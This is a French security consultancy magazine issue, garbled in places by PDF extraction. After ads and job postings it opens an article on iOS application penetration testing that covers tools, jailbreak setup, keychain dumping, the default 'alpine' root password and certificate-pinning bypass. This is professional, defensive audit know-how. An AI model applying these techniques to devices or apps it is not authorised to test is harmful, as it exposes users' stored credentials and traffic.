Вы находитесь на странице: 1из 79

actu

scu 44
lACTUSCU est un magazine numrique rdig et dit par les consultants du cabinet de conseil XMCO SEPTEMBRE 2016

Tests dintrusion
des applications iOS
Prsentation de la mthodologie utilise pour ce type daudit

PCI DSS v3.2


Analyse des changements majeurs

Confrences
HITB, SSTIC et HackInParis

Actualit du moment
Analyse des vulnrabilits ImageTragick, BadLock et HTTPoxy

Et toujours la revue du web et nos Twitter favoris !

1
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.

we deliver security expertise

www.xmco.fr
2
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Vous tes concern
par la scurit informatique
de votre entreprise ?
XMCO est un cabinet de conseil dont le mtier est
laudit en scurit informatique.
Fond en 2002 par des experts en scurit et dirig par ses
fondateurs, les consultants de chez XMCO ninterviennent que
sous forme de projets forfaitaires avec engagement de rsultats.

Les tests dintrusion, les audits de scurit, la veille en
we deliver security expertise
vulnrabilit constituent les axes majeurs de dveloppement
de notre cabinet.

Paralllement, nous intervenons auprs de Directions Gnrales


dans le cadre de missions daccompagnement de RSSI,
dlaboration de schma directeur ou encore de sminaires de
sensibilisation auprs de plusieurs grands comptes franais.

Pour contacter le cabinet XMCO et dcouvrir nos prestations :


https://www.xmco.fr

Nos services

Test dintrusion
Mise lpreuve de vos rseaux, systmes et applications web par nos
experts en intrusion. Utilisation des mthodologies OWASP, OSSTMM, CCWAPSS.

Audit de scurit
Audit technique et organisationnel de la scurit de votre Systme
dInformation. Best Practices ISO 27001, PCI DSS, Sarbanes-Oxley.

Certification PCI DSS


Conseil et audit des environnements ncessitant la certification PCI DSS
Level 1 et 2.

Cert-XMCO - Veille en vulnrabilits


Suivi personnalis des vulnrabilits, des menaces et des correctifs affectant
votre Systme dInformation.

Cert-XMCO - Serenety
Surveillance de votre primtre expos sur Internet.

Cert-XMCO - Rponse intrusion


Dtection et diagnostic dintrusion, collecte des preuves, tude des logs,
autopsie de malware.
33
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Vous tes passionn par la scurit informatique ?

Nous recrutons !
Indpendamment dune solide exprience dans la scurit informatique, les candidats devront
faire preuve de srieuses qualits relationnelles, dun esprit de synthse et dune capacit rdi-
ger des documents de qualit. XMCO recherche avant tout des consultants quilibrs, passionns
par leur mtier ainsi que par bien dautres domaines que linformatique.

Tous nos postes sont bass Paris centre, dans nos locaux du 2me arrondissement.

Retrouvez toutes nos annonces ladresse suivante :


https://www.xmco.fr/societe/recrutement/

Analyste/Consultant junior CERT-XMCO

XMCO recrute des analystes/consultants juniors afin de participer aux activits du CERT-XMCO.

En tant quanalyste au sein du CERT-XMCO, vous serez charg de :


Analyser les vnements identifis par notre service Serenety afin de qualifier les alertes
et dinformer nos clients
Raliser une veille quotidienne sur les vulnrabilits, les exploits et lactualit de la scurit
informatique
Participer nos travaux de R&D et aux publications du cabinet (ActuScu)
Contribuer au dveloppement des offres et services ports par le CERT-XMCO (service de
veille, Portail XMCO, service Serenety)

Comptences requises :
Forte capacit danalyse et de synthse
Bonne qualit rdactionnelle (franais et anglais)
Connaissances techniques scurit, rseau, systme et applications
Maitrise du langage Python

Consultant / Auditeur junior et confirm

XMCO recrute des consultants juniors avec une premire exprience (1 an) et des
consultants avec une exprience significative (2 ans 3 ans minimum) en audit de scurit
et en tests dintrusion.

Comptences requises :
Profil ingnieur Janvier 2015
Analyste/Consultant junior
Matrise des techniques de tests dintrusion : Injection SQL, XSS, Exploits, XXE, etc.
XMCO
Exprience
recruteen des
testsanalystes/consultants
dintrusion applicatifs,junior
web-services, mobile, internes,
afin de participer etc. du
aux activits
CERT-XMCO.
Matrise dun langage de programmation (Java, C) et dun langage de scripting (Perl, Ruby,
Python) et des mthodes de dveloppement scuris OWASP
Le
Matrise des meilleures
CERT-XMCO est un CERTpratiques
officiel,de scurit auprs
rfrenc pour lesdusystmes dexploitation Windows
CERT gouvernemental (le /
Unix et les quipements rseau
CERT-FR) et le rseau des CERT Europen Trusted Introducer.
Le
Capacits
CERT-XMCO relationnelles et en
est lentit rdactionnelles
charge de laimportantes
surveillance et de la prvention des
Possibilit,impactant
menaces pour les profils leset applications
les systmes plus expriments, de raliser
de nos clients. des missions
Les principales
daccompagnement PCI DSS.
activits du CERT-XMCO sorientent autour de 4 axes :
Veille en vulnrabilits
Les consultants travaillent en quipe et en mode projet.
44
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Stagiaire CERT-XMCO

Le cabinet XMCO propose un stage de fin dtudes sur le thme de la scurit informatique,
afin de participer aux activits du CERT-XMCO.

En tant que stagiaire au sein du CERT-XMCO, vous serez charg de :


Raliser une veille quotidienne sur les vulnrabilits, les exploits et lactualit de la scurit
informatique
Analyser les vnements identifis par notre service de Cyber-surveillance (Serenety),
effectuer les analyses manuelles complmentaires, remonter les rsultats nos clients, et
effectuer le suivi quotidien
Participer aux dveloppements du service de Serenety
Raliser des travaux de R&D
Participer la rdaction des publications du cabinet (ActuSecu)

Comptences requises pour ce poste :


Stage de fin dtudes (BTS/IUT, Ingnieur, Master 2 ou encore Mastre spcialis)
Connaissances techniques scurit, rseau, systme et applications
Matrise du Shell Unix et du Python
Bonne qualit rdactionnelle (franais et anglais)
Rigueur et curiosit, esprit dquipe applications sont un plus

Le stage est prvu pour une dure de 5 mois minimum.

Stagiaire tests dintrusion

Le cabinet XMCO propose un stage de fin dtudes sur le thme de la scurit informatique
et des tests dintrusion.

Les concepts suivants seront approfondis par le stagiaire sous la forme dtudes, de
travaux pratiques et dune participation aux audits raliss par les consultants XMCO :
Veille en vulnrabilits Systmes et Rseaux
Les intrusions informatiques et les tests dintrusion
Les failles dans les applications Web et les web-services
Les vulnrabilits des quipements mobiles
Projets de dveloppement internes encadrs
Participation aux projets R&D du cabinet

Comptences requises pour nos stagiaires :


Stage de fin dtudes Ingnieur ou Master 2, Mastre spcialis
Motivation pour travailler dans le domaine du conseil et du service
Connaissances approfondies en : Shell unix, C, 1 langage de scripting (Perl, Ruby ou
Python), Java, JavaScript, SQL
Passionn de scurit informatique (exploits, scan, scripting, buffer overflow, sql injection...)
Matrise des environnements Linux et Windows
Rdactionnel en franais de qualit
Bonne prsentation et aptitudes relles aux prsentations orales

Le stage est prvu pour une dure de 5 mois minimum.

55
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
sommaire p. 7
p. 7

Tests d'intrusion iOS


Introduction aux tests d'applica-
tion mobile iOS

p. 24

PCI DSS 3.2


Analyse des changements
majeurs

p. p.
xxx24
p. 29

Confrences
HITB, SSTIC et HIP

p. 29

p. 59

Actualit du moment
Analyse des vulnrabilits
ImageTragick, Badlock et
HTTPoxy

p. 59 p. 75
p. 75

La revue du web et Twitter

Contact Rdaction : actu.secu@xmco.fr - Rdacteur en chef : Adrien GUINAULT - Direction artistique :


Romain MAHIEU - Ralisation : Agence plusdebleu - Contributeurs : Antonin AUROY, Stphane AVI, Etienne
Conformment aux lois, la reproduction ou la contrefaon des mo-
BAUDIN, William BOISSELEAU, Simon BUCQUET, Bastien CACACE, Charles DAGOUAT, Elisabeth FRAISSE, Da- dles, dessins et textes publis dans la publicit et la rdaction de
mien GERMONVILLE, Hadrien HOCQUET, Yannick HAMON, Jean-Yves KRAPF, Thomas LIAIGRE, Cyril LORENZETTO, lActuScu 2016 donnera lieu des poursuites. Tous droits rservs
- Socit XMCO. la rdaction dcline toute responsabilit pour tous les
Rodolphe NEUVILLE, Vincent MARQUET, Julien MEYER, Clment MEZINO, Jean-Christophe PELLAT, Arnaud REY- documents, quel quen soit le support, qui lui serait spontanment
confi. Ces derniers doivent tre joints une enveloppe de rexpdi-
GNAUD, Rgis SENET, Julien TERRIAC, Arthur VIEUX, David WEBER.
6 tion prpaye. Ralisation, Septembre 2016.

Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> Les tests d'intrusion d'application mobiles iOS
Il y a un an (juillet 2015), nous avions publi au sein de lActuScu #41 (https://www.xmco.fr/actu-secu/XMCO-ActuSe-
cu-41-Tests-Intrusion-Android.pdf), un dossier sur les tests dintrusion dapplications Android.

Bien entendu, afin dadresser le plus dutilisateurs possible, lapplication iOS va de pair avec lapplication Android. Nos
clients nous demandent trs frquemment de raliser des tests sur les deux types dapplications.

Cette anne, nous vous proposons donc de partager notre retour dexprience travers une approche de notre mthodo-
logie en matire de tests sur les applications iOS. Cet article naura donc pas pour vocation de prsenter de manire ex-
haustive l'ensemble des techniques utilises dans le cadre de tests dintrusion dapplications mobiles. Il s'agira davantage
d'un support permettant d'identifier les problmes de scurit inhrents aux applications mobile et plus prcisment iOS.

par Rgis SENET et Arnaud REYGNAUD

Introduction aux tests


d'intrusion iOS

RadishTM

> Introduction
Au fil des annes, les smartphones sont devenus incontournables, tant dans notre vie personnelle que professionnelle. Ce
besoin de rester connect ainsi que cette course la technologie des consommateurs a littralement fait exploser les ventes
de produits, atteignant la barre des 400 millions de ventes en 2015 (http://www.zdnet.fr/actualites/chiffres-cles-les-ventes-
de-mobiles-et-de-smartphones-39789928.htm).

Les entreprises ont galement saut le pas et le nombre dapplications mobiles a augment de manire exponentielle au
cours des cinq dernires annes. Que cela soit pour une application mtier (chiffrement des donnes, communication avec les
ressources de lentreprise, gestion du cur de mtier pour les consultants nomades, etc.) ou bien pour une application vitrine,
les entreprises investissent de plus en plus dans ces nouvelles mthodes de travail.

Lexplosion du nombre dapplications iOS na pas laiss le temps aux dveloppeurs de se former aux diffrentes techniques
de dveloppement scuris entranant la remise au got du jour de certaines vulnrabilits que lon rencontrait au sein des
applications Web il y a une dizaine dannes (mots de passe stocks en dur, logs verbeux, absence de chiffrement des donnes
critiques, etc.) 7
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Cette volution ne pouvait se faire sans un certain revers de mdaille. Le succs a un prix payer. Plusieurs tudes font ainsi
ressortir les craintes concernant une augmentation du nombre de menaces visant les tlphones mobiles (http://www.le-
mondeinformatique.fr/actualites/lire-hausse-attendue-des-cybermenaces-visant-les-terminaux-apple-en-2016-63272.html).

En effet, les menaces visant les terminaux mobiles ont pris de lampleur et des socits spcialises nhsitent pas rache-
ter prix dor des failles de scurit impactant les plateformes mobiles (https://www.zerodium.com/ios9.html). La scurit
informatique restant un business part entire, il va sans dire que payer un million de dollars pour une faille de scurit
affectant la dernire version diOS en rapportera probablement le double son acqureur

> Notion de base


Historique

LiPhone est une gamme de tlphones commercialiss par la socit Apple depuis le 29 juin 2007. Selon lancien PDG
dApple, Steve Jobs, son dveloppement aurait dur deux ans et demi.

Profitant dune importante campagne de publicit aux tats-Unis, 200 000 iPhone ont t vendus au cours des trois
premires semaines suivant son lancement. La campagne internationale fut galement soigne. 10 000 tlphones ont
ainsi t vendus en Allemagne et en Angleterre ds le premier jour.

Depuis sa sortie en juin 2007, 13 versions ont vu le jour amliorant continuellement le design, mais aussi la capacit de
stockage, les performances matrielles, le systme dexploitation (iOS / iPhone OS), etc.

LiPad, quant lui, est une tablette tactile commercialise depuis le 27 janvier 2010 disposant du mme systme
dexploitation que liPhone.

Du ct de l'OS, les volutions ont galement permis d'apporter de nombreux ajouts aussi bien en termes de
fonctionnalits, de performances, d'ergonomie, mais aussi de scurit (ce dernier point nous intresse). ce sujet, voici
quelques points permettant de retracer cette volution :

+ iOS 1 / juin 2007 : OS considr comme "rvolutionnaire" dont la proccupation principale n'tait pas la scurit (et
pas encore d'AppStore) ;

+ iOS 2 / juillet 2008 : Nouvelle mouture apportant son lot de correctif de scurit (dont 22 CVE). Support des
technologies Cisco IPSec VPNs, Wi-Fi WPA2 Enterprise et authentification 802.1x. cela s'ajoute le durcissement des rgles
de scurit.

+ iOS 3 / juin 2009 : Ajout des contrles distance et de golocalisation (en cas de vol par exemple / Find My iPhone).
Correction d'une cinquantaine de vulnrabilits (officielles).

+iOS 4 / juin 2010 : Ajout de la possibilit de saisir des mots de passe "longs" la place du classique PIN 4 chiffres,
gestion du multitches, ajout du chiffrement des pices jointes des mails, et gestion des permissions par application (bien
avant Android), renforcement du keychain. Correction d'environ 200 vulnrabilits (officielles) dmontrant la prise de
conscience et l'importance de la scurisation des donnes.

+iOS 5 / octobre 2011 : Siri fait son apparition. Correction d'environ 100 vulnrabilits (officielles).
+iOS 6 / septembre 2012 : Ajout de nouvelles options de scurisation (confidentialit, tracking, etc.). Correction
d'environ 200 vulnrabilits (officielles).
8
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

+ iOS 7 / septembre 2013 : "Scandale" de la backdoor aka "gotofail" et " juicejacking". Utilisation des lecteurs
d'empreintes afin de dverrouiller l'OS. Correction d'environ 100 vulnrabilits (officielles).

+iOS 8 / septembre 2014 : Utilisation d'une adresse MAC alatoire (antitracking). Correction d'environ 200
vulnrabilits (officielles).

+iOS 9 / septembre 2015 : 2FA avec El Capitan. Le mot de passe par dfaut passe de 4 6 caractres.
Ce bref historique tant tabli, rentrons prsent dans le vif du sujet en abordant les diffrents tests.

Les diffrents tests

Nous lvoquions en introduction, bien que diverses et varies, les applications mobiles peuvent se regrouper en deux
catgories :

+ Application "lgre"
Nous retrouvons dans cette catgorie les applications vitrine (via des Web Views, appels des Web Services, etc.).

+ Application "lourde"
Les applications dites lourdes sont de plus en plus nombreuses et les fonctionnalits intgres sont de plus en plus
volues. Celles-ci sont en mesure de communiquer avec des serveurs dentreprise, de grer des systmes de chiffrement
de donnes, etc. Dans ce contexte, l'intelligence mtier est porte par l'application et non totalement dporte vers un ou
plusieurs serveurs.

Les tests ncessaires pour valuer une application lourde


sont beaucoup plus chronophages que ceux lencontre
des applications lgres et ncessitent des points de vrification supplmentaires

En se plaant dans la position des tests dintrusion classiques et en fonction de la demande du client, il est possible de
sous-diviser nouveau les tests :

+ Bote noire et bote grise


Dans ce cas de figure, il sagit dauditer lapplication linstar dun utilisateur standard avec ou sans compte daccs
(bote grise / bote noire). Lapplication pourra fonctionner sur un mulateur, un priphrique de tests ou encore sur un
priphrique fourni par lentreprise en fonction des contraintes (disponibilit de lapplication sur les Stores officiels, besoin
dintgrer un MDM (Mobile Device Management ou Gestionnaire de terminaux mobiles), etc.).

+ Bote blanche
Dans le contexte dun audit en bote blanche, lauditeur disposera galement de lapplication au format .ipa ainsi que de
son code source permettant la ralisation daudit de code intrusif (possibilit de vrifier les vulnrabilits remontes par
laudit de code). Ce type daudit est typiquement ralis dans le cadre des homologations ARJEL [https://www.xmco.fr/
audits-de-securite/]

En fonction de la nature de lapplication ainsi que de celle des tests souhaits, la dmarche suivre, les diffrents
rfrentiels de scurit sur lesquels sappuyer ainsi que les outils diffreront lgrement.

9
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Prsentation dune application iOS

Une application iOS est un fichier IPA. Mais encore ? Un fichier IPA n'est rien d'autre qu'une archive (type zip) contenant
l'application.

Au sein de cette archive, sont prsents le binaire excutable (rpertoire Payload), limage de lapplication utilise par
iTunesConnect sur lApple Store (iTunesArtwork) ainsi que le fichier iTunesMetadata.plist permettant lApple Store de
disposer dinformations supplmentaires sur lapplication (Nom du dveloppeur, version, copyright, catgorie, etc.).

Note :
Durant un pentest mobile, il est possible de dcouvrir des fichiers qui n'ont tout simplement rien faire dans une
application (documents de conception, notes, etc.). Il est donc parfois opportun de regarder le contenu direct de
l'application avant d'initier les tests.

Prenons l'exemple de l'application de tests DVIA. Lextraction de contenu de larchive se fait simplement :
$unzip -q DamnVulnerableiOSApp.ipa -d DamnVulnerableiOSApp

Si l'on regarde en dtail, nous retrouvons bien notre


fameuse application avec son extension .APP :

Intressons-nous de plus prs au fichier .APP consti-


tuant l'application proprement parler. Que trouve-
t-on dedans ? Des fichiers "ressources" (images,
plist, certificats, etc.) ainsi que le / les binaires
compils pour ARM au format Mach-O (mach ob-
ject) (souvent protg par le DRM Apple Fairplay).

Voici un schma pour plus de clart :

Afin de dvelopper une application, on retrouve dans la plupart des cas les deux alternatives que sont Objective-C (C et
C++ si besoin) et Swift. Si l'on compare Android, nous avons donc le modle suivant : Android & Java / IOS & Objectif C /
Swift. Le code compil pour les applications iOS apporte un niveau de difficult supplmentaire dans les phrases de reverse
en comparaison d'Android.

10
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

+ Objective-C
Langage de programmation orient objet qui se veut tre une extension du C comme le C++ (les deux pouvant tre
combins). N dans les annes 80, il se veut proche du Smalltalk.

Aujourd'hui, il est principalement utilis dans les systmes d'exploitation d'Apple : OS X et iOS, bass sur la bibliothque
de classes Cocoa.

+ Swift
Langage de programmation dvelopp par Apple partir de 2010 avec une premire version parue en 2014. Il est
destin la programmation d'applications sur les systmes d'exploitation iOS, OS X, watchOS et tvOS. Il est tout fait
possible de le faire coexister avec l'Objective-C. Sa cration est en partie due la volont d'Apple de simplifier la
conception de programmes sur ses plateformes (syntaxe, rduction du nombre de lignes, scurit, lisibilit, maintenance,
performances, etc.). En raison de sa "jeunesse", des absences restent combler, mais Apple se veut rassurant quant aux
amliorations qui vont y tre apportes.

Les tests ncessaires pour valuer une application lourde sont beaucoup plus chronophages que ceux lencontre des
applications lgres et ncessitent des points de vrification supplmentaires (analyse des documents d'architecture et
de la documentation, coute rseau, rtro-ingnierie, analyse dynamique, tude de la mmoire, analyse du systme de
fichiers, etc.).

Il est galement important de parler du "sandboxing" qui sera abord plus loin dans cet article (partie Analyse du
tlphone). Ce mcanisme de protection permet de protger l'intgrit d'une application et de ses donnes en limitant
les accs quil sagisse d'utilisateurs, d'autres applications (malveillante ou non), de mcanismes de communication entre
applications, etc. Dans notre contexte, il s'agit donc d'un environnement isol spcifiquement ddi une application.

Et comme un bon schma vaut largement une longue explication, voici l'illustration propose par le support de
dveloppement d'Apple afin d'illustrer le "avec et sans Sandbox" :

Illustration du contrle d'accs via Sandboxing (Source https://developer.apple.com/library/mac/documentation/Security/


Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html)

partir de ces informations de base, il est maintenant possible de regarder ce qu'il se passe une fois l'application installe
sur le terminal.

11
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
> En amont des tests dintrusion
Les rfrentiels

Lors de la ralisation de tests dintrusion ou daudits de scurit, il est courant dentendre parler des Meilleures Pratiques
de Scurit. Mais que sont exactement ces meilleures pratiques ? Il ne sagit pas uniquement des connaissances acquises
par les auditeurs au fil des missions, mais bien de rfrentiels communs sur lesquels il est possible de se baser.

Connu pour ses guides de recommandations en matire de scurit des applications Web, lOpen Web Application Se-
curity Project (OWASP) a galement initi le projet OWASP Mobile Security Project (https://www.owasp.org/index.php/
OWASP_Mobile_Security_Project#tab=Home) afin daccrotre la scurit des applications mobiles au travers doutils, de
mthodologies, de plans de tests, etc.

Afin de rafrachir les mmoires de chacun, voici un bref rappel du TOP 10 Mobile qui permet de garder un fil conducteur afin
de couvrir une bonne partie des tests raliser ( adapter au contexte de chaque application bien entendu):

M1 - Insecure Data Storage


M2 - Weak Server Side Controls
M3 - Insufficient Transport Layer Protection
M4 - Client Side Injection
M5 - Poor Authorization and Authentication
M6 - Improper Session Handling
M7 - Security Decisions via Untrusted Inputs
M8 - Side Channel Data Leakage
M9 - Broken Cryptography
M10 - Sensitive Information Disclosure

Nous lvoquions prcdemment, certaines applications peuvent tre considres comme des coquilles vides (exemple
avec une simple Web View).

Dans ces conditions, valuer la robustesse de lapplication "mobile" revient valuer celle du serveur distant (mme si des
exceptions existent). Nous pourrons dans ce cas faire rfrence lOWASP Testing Guide (https://www.owasp.org/index.
php/OWASP_Testing_Guide_v4_Table_of_Contents) utilis par les pentesteurs.

Bote outils

Tout comme il nexiste pas de remde miracle ou de botier magique permettant de garantir la scurit dun Systme dIn-
formation, il nexiste pas de bote outils parfaite pour les applications iOS. Chaque pentester pourra trouver son bonheur
dans tels ou tels outils. Le dveloppement de scripts personnels lui permettra galement dtre encore plus laise/rapide.

Ainsi, nous ne prsenterons dans cet article quune courte slection des outils que nous avons lhabitude dutiliser
constituant notre must have . Le nombre doutils lis la scurit des applications iOS ne faisant que crotre, nous
invitons le lecteur curieux faire ses propres tests afin de se forger sa propre opinion. ce titre, il existe de nombreuses
applications d'entranement ou encore des Bug Bounty ddis aux applications mobiles.

Analyse statique

+ Clutch
Clutch permet de dumper une application. Grce cet utilitaire, il est possible dobtenir le fichier au format ipa partir
dune application dj installe sur un terminal Apple. Clutch est donc indispensable dans le cas o il nest pas possible
dobtenir directement lapplication (bote noire).

+ IDA Pro
IDA Pro est un dsassembleur supportant les applications au format ipa. Les applications fonctionnant sur un simulateur
grce Xcode (Outil de dveloppement pour iOS et Mac OS X) disposent dune architecture i386 alors que les applications
fonctionnant sur un smartphone Apple disposent dune architecture ARM. IDA Pro prend en comptes ces deux formats.

+ Class-dump
Class-dump est un petit utilitaire extrmement pratique permettant dexaminer les informations contenues au sein des
fichiers Mach-O. Class-dump est souvent utilis conjointement Cycript, que lon voquera dici peu, pour faire de lanalyse
dynamique.
12
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

Analyse dynamique

+ Cycript
Cycript est un dbogueur tel que GDB, permettant dinteragir avec une application en cours dexcution au travers dune
console interactive.

+Keychaindumper
Quest-ce que le keychain ?

Sous forme dune base de donnes SQLite situe lemplacement /private/var/Keychains/keychain-2.db, le keyChain est un
conteneur chiffr (AES 128 bits) stockant des informations sensibles (noms dutilisateur, mots de passe, cl Wi-Fi, certificats,
etc.) dont les droits daccs sont restreints.

Keychaindumper est un petit utilitaire permettant de dchiffrer lensemble des donnes contenues dans le Keychain. Les
bonnes pratiques veulent quil soit ncessaire de supprimer les donnes relatives une application lorsque celle-ci est sup-
prime. Nanmoins, ces bonnes pratiques sont rarement observes.

+ Idb
Idb est un vritable couteau suisse pour les audits
dapplications iOS. En effet, cet outil trs complet
permet dobtenir des informations sur lapplication
(utilisation des protections type ASLR/PIE, DEP, ARC),
de raliser une analyse rapide des diffrentes m-
thodes de stockage (plist, base sqlite, fichiers Cache.
db, etc.) ou encore danalyser les logs gnrs par
lapplication.

Analyse rseau

+ BurpSuite
Bien connu de tous les pentesters, le proxy intrusif Burp permet dintercepter/diter/rejouer les requtes HTTP changes
par le client avec le serveur.

+ Tcpdump / Wireshark
Dans le cas o BurpSuite ne suffirait pas (application lourde), il est possible de sortir la grosse artillerie en utilisant le couple
tcpdump/Wireshark afin de raliser une analyse protocolaire plus complte.

Prparation de la plateforme de tests

Afin de nous rapprocher au plus prs des conditions dutilisation standard, nous avons ralis lensemble de nos tests sur
un terminal iOS jailbreak. En effet, la version iOS 9.0.1 de notre priphrique de tests est jailbreakable, permettant ainsi
dobtenir les droits root sur celui-ci.

Une fois le Jailbreak effectu, Cydia est disponible sur lappareil, nous permettant ainsi dinstaller tout le ncessaire pour
disposer dune plateforme de tests digne de ce nom.

13
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Afin de ne pas avoir faire des manipulations depuis le priphrique, nous avons commenc par installer OpenSSH afin
dy accder distance. Toujours grce Cydia, nous avons install les paquets BigBoss Recommended tools et MTerminal
permettant respectivement de disposer doutils en ligne de commande tels que la suite GNU, less, make, wget, sqlite, etc.
ainsi que dun terminal sur le priphrique, pratique si la connexion SSH est temporairement indisponible.

Quest-ce que le jailbreak ?

Par dfaut, Apple restreint laccs ses appareils par souci de scurit. Le jailbreak est le processus permettant dobtenir
un accs complet au systme dexploitation dun appareil mobile Apple grce lexploitation de failles de scurit. Une fois
jailbreak, les utilisateurs ne souffrent plus daucune restriction et peuvent accder des fonctionnalits avances (console,
accs SSH) ainsi qu des magasins dapplication alternatifs tels que Cydia (pour nen citer quun). Sans attention particulire,
le jailbreak induit des faiblesses au sein de la scurit des appareils mobiles. En effet, les magasins alternatifs ne mettent pas
en place de processus de validation des applications linstar dApple et de son AppleStore (http://blog.octo.com/1er-mai-
2013-de-nouvelles-restrictions-sur-la-validation-des-applications-ios/). De plus, les comptes utilisateurs root (super adminis-
trateur) et mobile (utilisateur courant) disposent de mot de passe connu (alpine) quil est impratif de changer (LiPhone et
le jailbreak : https://www.xmco.fr/actu-secu/XMCO-ActuSecu-24-PCI-DSS-SSL-iPhone.pdf)

Une fois SSH install, il est possible daccder au priphrique de deux manires :

+ Via le rseau
Laccs se fera de la mme manire quune connexion SSH classique.

+Via USB
Il est galement possible dutiliser iproxy faisant partie de la suite libimobiledevice afin de se connecter grce au
multiplexer USB (la commande qui suit est saisir ct machine).

$ sudo iproxy 22 22 &


$ ssh root@localhost

Lensemble des applications excutes sur un priphrique appartenant la marque la pomme doit tre sign. Pour notre
plus grand bonheur, les priphriques jailbreaks autorisent les applications auto signes. Afin de signer les applications,
les outils codesign et ldid pourront tre utiliss.

Dans le cadre de laudit dune application iOS, lutilisation dun proxy intrusif (Burp, ZAP, etc.) permettra dditer/modifier/
rejouer les requtes. Si aucun change chiffr ne transite par notre proxy, cela peut signifier que les dveloppeurs de lap-
plication ont mis en place un mcanisme de Certificate pinning. Ce type de fonctionnalit permet dempcher toute
attaque de type MitM (Man in the middle).

Quest-ce que le Certificate pinning ?

Le Certificate pinning est une mthode de validation du certificat du serveur, complmentaire celle habituellement uti-
lise dans le cadre de connexion SSL/TLS. En plus deffectuer les contrles classiques sur le certificat prsent par le serveur,
comme valider la chane de certification jusqu un certificat racine ou sa date de validit, lapplication contrle en plus cer-
taines caractristiques du certificat, comme son numro de srie, la clef publique qui lui est associe. Cette mthode prsente
lavantage dtre plus robuste que la mthode classique, et permet de ne plus dpendre que du systme ou des autorits de
certification racine pour sassurer que le certificat prsent est le bon.

Le contournement de cette protection est nanmoins possible sur un appareil jailbreak grce aux outils iOS SSL Kill Switch
et TrusteMe. iOS SSL Kill Switch va patcher la vole les fonctions prsentes au sein de lAPI Secure Transport (SSLCrea-
teContext, SSLSetSessionOption et SSLHandshake). De ce fait, le mcanisme de validation du certificat est alors dsactiv,
permettant ainsi lanalyse des changes protgs par HTTPS (https://nabla-c0d3.github.io/blog/2013/08/20/ios-ssl-kill-
switch-v0-dot-5-released/).
Dans d'autres cas, la non-interception des communications proviendra de l'utilisation de librairies "maison" ou de fonctions
ne s'appuyant pas sur les librairies systme. Il faudra alors utiliser d'autres solutions d'interception ( titre d'exemple via
un partage wifi/Bluetooth avec redirection des changes, etc.) . Mme s'il s'agit de bon sens, nous souhaitons rappeler
que rinventer la roue dans le cadre de dveloppements scuriss est trs souvent peine perdue. Il est bien plus sage de
s'appuyer sur des mcanismes reconnus et prouvs.

Comme nous lvoquions en amorce de la prsentation de notre bote outils, il nest pas possible dtre exhaustif sur les
outils que nous utilisons (utiliserons) pour nos tests. En effet, les applications voluent rapidement et les outils de demain
seront peut-tre diffrents de ceux daujourdhui. Nanmoins, grce lensemble prsent, il est possible de se constituer
une base solide et relativement rapide prendre en main.
14
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

> Analyse du tlphone


Par dfaut, les applications iOS sont "sandboxes". Cela signifie que chacune possde son propre environnement
dexcution sur l'appareil. ce titre, les ressources de chaque application ne peuvent "en thorie" tre lues et/ou modifies
par une autre.

D'autres mcanismes sont galement prendre en compte dans la protection des applications, mais cette fois-ci du ct
des dveloppeurs et du systme (certains sont spcifier la compilation), on pourra citer :

+Signature des applications (certificats dlivrs par Apple aux dveloppeurs) ;


+Address Space Layout Randomization (ASLR) ;
+Automatic Reference Counting (ARC) ;
+Stack Smashing Protections (SSP) ;
+Etc.
Mthodologie mulateur VS Appareil

Toujours dans l'ide d'effectuer un parallle avec Android, nous avons deux solutions de travail :

+Lutilisation d'un priphrique Apple (tlphone / tablette) ;


+L'utilisation d'un mulateur (iOS Simulator).
Chacune dispose de son lot d'avantages et d'inconvnients. Certains arguments avancs seront davantage orients dve-
loppement qu'audit, mais il semble intressant de les mentionner :

Bien videmment, certains pourront lancer le dbat des termes utiliss en diffrenciant mulateur et simulateur, mais il
ne s'agit l que d'une prsentation "globale". Quant la question latente, quelle est la meilleure solution ? Il n'y a pas de
rponse boolenne ici.

Chacune dispose d'avantages et d'inconvnients, et il peut tre opportun d'utiliser les deux solutions en parallle afin de
complter les tests. Au final, ce sont surtout les prfrences de l'auditeur ou une limite bien spcifique qui dfiniront le
choix, et non pas un jugement biais par des prjugs ou une argumentation bancale.

15
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Accs et Dumps

Mais que peut-on rcuprer ou observer sur le systme une fois l'application dploye (ou dj installe) ? Voici quelques
lments de rponses. La liste est bien entendu non exhaustive et sera complte dans la partie statique :

+Des donnes directement dans des fichiers de prfrences (Property List Files / plist, etc.) ;

Infos en clair dans le plist

+Des donnes dans les fichiers cache, les cookies, les logs ;
+Des bases de donnes locales avec des informations non chiffres (sqlite, etc.) ;
+ Des informations enregistres lors de la saisie ou dans le presse papier (cela induit des identifiants, rfrences
bancaires, etc.) en gnral conserves des fins d'auto correction / auto compltion.

+Des captures d'cran (exemple lors de la minimisation de l'application) ;


+Des dfauts de permissions ;
+Etc.
Les chemins d'accs diffrent si l'on utilise un terminal ou s'il sagit du simulateur.

Exemple :

+ Application sur Simulateur


~/Library/Developer/CoreSimulator/Devices/[DeviceID]/data/Containers/Data/Application/[AppID]/

+Application sur Terminal


/Application (applications natives)
/var/mobile/Application/[AppID]/ (applications installes)

Tous ces points vont tre dtaills dans la partie analyse statique.

16
Ce document est la proprit du cabinet XMCO. Toute reproduction est strictement interdite.
Les tests dintrusion iOS

> Analyse statique d'une application


Mme s'il ne s'agit l que d'un rappel, il est primordial de dbuter l'audit par une phase de rcupration passive
